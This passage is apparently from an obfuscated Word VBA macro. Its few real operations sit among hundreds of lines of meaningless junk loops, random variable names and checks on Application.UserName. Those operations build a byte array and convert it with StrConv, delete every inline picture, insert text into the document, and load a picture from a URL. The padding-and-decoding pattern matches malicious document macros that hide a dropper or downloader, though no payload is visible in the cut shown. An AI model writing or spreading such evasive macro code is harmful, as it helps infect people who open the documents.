Dim JvcYBemTV6 As String
For h8HDfUkm2 = 0 To 6
JvcYBemTV6 = JvcYBemTV6 + "J"
Next h8HDfUkm2
Dim A3osh1JBv As String
For X56zaj = 0 To 8
A3osh1JBv = A3osh1JBv + "q"
Next X56zaj
Dim QaNJrGYt3A As String
For N2MSJXF = 0 To 8
QaNJrGYt3A = QaNJrGYt3A + "T"
Next N2MSJXF
      ELEVEN(TWENTYmIC5lKpYcV) = TWENTYwgGmlyuRGV: TWENTYmIC5lKpYcV = TWENTYmIC5lKpYcV + 1
Dim YpFDQw2n, kOSYsLg As Integer
YpFDQw2n = 5 + 5
For UKwBTTyNM = 0 To 7
kOSYsLg = kOSYsLg + UKwBTTyNM
Next UKwBTTyNM
If kOSYsLg < UKwBTTyNM Then
Dim JwrRu7yw As Long
End If
Dim tKFNP8Hzt As Long
For QDXEpmOW = 5 To 17
tKFNP8Hzt = tKFNP8Hzt + QDXEpmOW
Next QDXEpmOW
Dim XIK3jb, QONAvS As Integer
XIK3jb = 9 + 9
For qXBH3myBP = 0 To 9
QONAvS = QONAvS + qXBH3myBP
Next qXBH3myBP
If QONAvS < qXBH3myBP Then
Dim Wmnwqj As Long
End If
      If TWENTYmIC5lKpYcV < TEN Then ELEVEN(TWENTYmIC5lKpYcV) = ZQfZaehf: TWENTYmIC5lKpYcV = TWENTYmIC5lKpYcV + 1
Dim nIo5Ra, zv3J03PkLF As Integer
nIo5Ra = 6 + 9
For wVTNUOGo = 0 To 8
zv3J03PkLF = zv3J03PkLF + wVTNUOGo
Next wVTNUOGo
If zv3J03PkLF < wVTNUOGo Then
Dim iLSa9DCwg6 As Long
End If
Dim Py2t1fa, ttKAKI As Integer
Py2t1fa = 7 + 8
For LcHxNqmL = 0 To 7
ttKAKI = ttKAKI + LcHxNqmL
Next LcHxNqmL
If ttKAKI < LcHxNqmL Then
Dim DNIWA9 As Long
End If
For aecW8jhzl = 0 To 7
QFg7dR3tUZ = QFg7dR3tUZ + aecW8jhzl
Next aecW8jhzl
      If TWENTYmIC5lKpYcV < TEN Then ELEVEN(TWENTYmIC5lKpYcV) = TWENTYeur5GQ3g: TWENTYmIC5lKpYcV = TWENTYmIC5lKpYcV + 1
For joIA8iIpEZ = 0 To 7
BzXzZljGKg = BzXzZljGKg + joIA8iIpEZ
Next joIA8iIpEZ
For ZDEpNjp6 = 0 To 8
Yji9yr = Yji9yr + ZDEpNjp6
Next ZDEpNjp6
For BxBnCpTUVn = 0 To 9
Mzb3xz04N4 = Mzb3xz04N4 + BxBnCpTUVn
Next BxBnCpTUVn
Dim v6n2SJjUKv, hOKH2s2 As Integer
v6n2SJjUKv = 7 + 5
For YRHvXSk9V = 0 To 6
hOKH2s2 = hOKH2s2 + YRHvXSk9V
Next YRHvXSk9V
If hOKH2s2 < YRHvXSk9V Then
Dim k82iR3q As Long
End If
Dim N6H05Le, NJEI2ajE As Integer
N6H05Le = 5 + 6
For q0lK21PR = 0 To 6
NJEI2ajE = NJEI2ajE + q0lK21PR
Next q0lK21PR
If NJEI2ajE < q0lK21PR Then
Dim CLYjVt As Long
End If
Dim DoIUzhv, aJ5yWzn6v As Integer
DoIUzhv = 7 + 8
For Nizt9ZwOia = 0 To 6
aJ5yWzn6v = aJ5yWzn6v + Nizt9ZwOia
Next Nizt9ZwOia
If aJ5yWzn6v < Nizt9ZwOia Then
Dim QDCraa5p As Long
End If
If Len(Application.UserName) < 627 Then
Dim A1rMYtGA0p As Collection
End If
      Loop
For QDTTsh9 = 0 To 9
tvxGypI = tvxGypI + QDTTsh9
Next QDTTsh9
If Application.UserName = "KQ8giYJcdHq" Then
MsgBox ("mU9f2dNvFb7")
Else
Dim ZuIMWR1YvwsAAg As String
ZuIMWR1YvwsAAg = Application.UserName
End If
   P42lelXw = StrConv(ELEVEN, vbUnicode)
Dim i79Qr3WrX As Long
For jxeRPImpI = 8 To 15
i79Qr3WrX = i79Qr3WrX + jxeRPImpI
Next jxeRPImpI
End Function
Sub RemovePicture()
If Len(Application.UserName) < 999 Then
Dim N0KZyCRZz As Collection
End If
If Application.UserName = "aNqf3VpSexm" Then
MsgBox ("MN0dFjPNP6l")
Else
Dim oArd1aV3Wmx7Cp As String
oArd1aV3Wmx7Cp = Application.UserName
End If
Dim temyhbC2SU6iqHw As InlineShape
Dim JVVRQoo As Long
For euFXG4kLxR = 5 To 16
JVVRQoo = JVVRQoo + euFXG4kLxR
Next euFXG4kLxR
Dim etVFPPar, DXvDQ6uRk As Integer
etVFPPar = 7 + 8
For wOa3kT = 0 To 9
DXvDQ6uRk = DXvDQ6uRk + wOa3kT
Next wOa3kT
If DXvDQ6uRk < wOa3kT Then
Dim rEhcnjwE As Long
End If
Dim w9R4Ide238, y6sa1S0 As Integer
w9R4Ide238 = 8 + 6
For LO1ifgSv = 0 To 5
y6sa1S0 = y6sa1S0 + LO1ifgSv
Next LO1ifgSv
If y6sa1S0 < LO1ifgSv Then
Dim Uqeu6Saik As Long
End If
For T12MvN = 0 To 9
k7ItgAt3 = k7ItgAt3 + T12MvN
Next T12MvN
Dim LPIa7DS, mHnJ2WMx3u As Integer
LPIa7DS = 8 + 7
For BCg2HkCW3u = 0 To 5
mHnJ2WMx3u = mHnJ2WMx3u + BCg2HkCW3u
Next BCg2HkCW3u
If mHnJ2WMx3u < BCg2HkCW3u Then
Dim NjIfnBP33 As Long
End If
For Each temyhbC2SU6iqHw In ActiveDocument.InlineShapes
Dim Xg8wunrO As Long
For FSiwBf2 = 5 To 17
Xg8wunrO = Xg8wunrO + FSiwBf2
Next FSiwBf2
Dim LlZrbD As String
For iiOAwDp3x = 0 To 8
LlZrbD = LlZrbD + "z"
Next iiOAwDp3x
Dim FRwBW3dF8h, HaMEV4pkP As Integer
FRwBW3dF8h = 6 + 5
For zljHrJ = 0 To 7
HaMEV4pkP = HaMEV4pkP + zljHrJ
Next zljHrJ
If HaMEV4pkP < zljHrJ Then
Dim lzJfEsXLI As Long
End If
temyhbC2SU6iqHw.Delete
Dim M6PKAM9 As String
For VR9x187COD = 0 To 9
M6PKAM9 = M6PKAM9 + "K"
Next VR9x187COD
Dim r6XmR51t As String
For wI6X5L = 0 To 7
r6XmR51t = r6XmR51t + "o"
Next wI6X5L
Dim ZYFM74mFaY As Long
For Orq8o9ACf = 5 To 11
ZYFM74mFaY = ZYFM74mFaY + Orq8o9ACf
Next Orq8o9ACf
If Len(Application.UserName) < 487 Then
Dim tCTy7F As Collection
End If
Next temyhbC2SU6iqHw
Dim fdG6Yl As String
For lI72kef = 0 To 9
fdG6Yl = fdG6Yl + "a"
Next lI72kef
Dim zyfeXHXopF As String
For AJQMU0YqFc = 0 To 8
zyfeXHXopF = zyfeXHXopF + "G"
Next AJQMU0YqFc
Dim VFufOnFI As String
For ec7ogU = 0 To 6
VFufOnFI = VFufOnFI + "N"
Next ec7ogU
Dim d7mZxSQE2 As String
For YkJOOmxypz = 0 To 5
d7mZxSQE2 = d7mZxSQE2 + "r"
Next YkJOOmxypz
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
For Fve3kDxEm = 0 To 5
bsYQugb = bsYQugb + Fve3kDxEm
Next Fve3kDxEm
Dim aSRLQWXL As Long
For dYobMVQ = 7 To 13
aSRLQWXL = aSRLQWXL + dYobMVQ
Next dYobMVQ
Dim uC1F09OpGj, BEjj6E As Integer
uC1F09OpGj = 7 + 9
For WkAhk3N4 = 0 To 5
BEjj6E = BEjj6E + WkAhk3N4
Next WkAhk3N4
If BEjj6E < WkAhk3N4 Then
Dim Jn3goGGDE As Long
End If
End Sub
Function InsertURLGraphic(URL As String)
If Application.UserName = "USJJOzbitv0" Then
MsgBox ("JJ0lPrBUm9I")
Else
Dim dgDLoG02JUfJYO As String
dgDLoG02JUfJYO = Application.UserName
End If
With Dialogs(wdDialogInsertPicture)
Dim i67j3Xx As String
For KUti3gy = 0 To 9
i67j3Xx = i67j3Xx + "J"
Next KUti3gy
For bZbXXy = 0 To 6
rzlVYr = rzlVYr + bZbXXy
Next bZbXXy
Dim FZVptpW As Long
For Ger6VzFu2j = 9 To 12
FZVptpW = FZVptpW + Ger6VzFu2j
Next Ger6VzFu2j
.Name = URL
Dim cL3zBJPRVG, oNd6sT As Integer
cL3zBJPRVG = 7 + 9
For ori6Qby6 = 0 To 9
…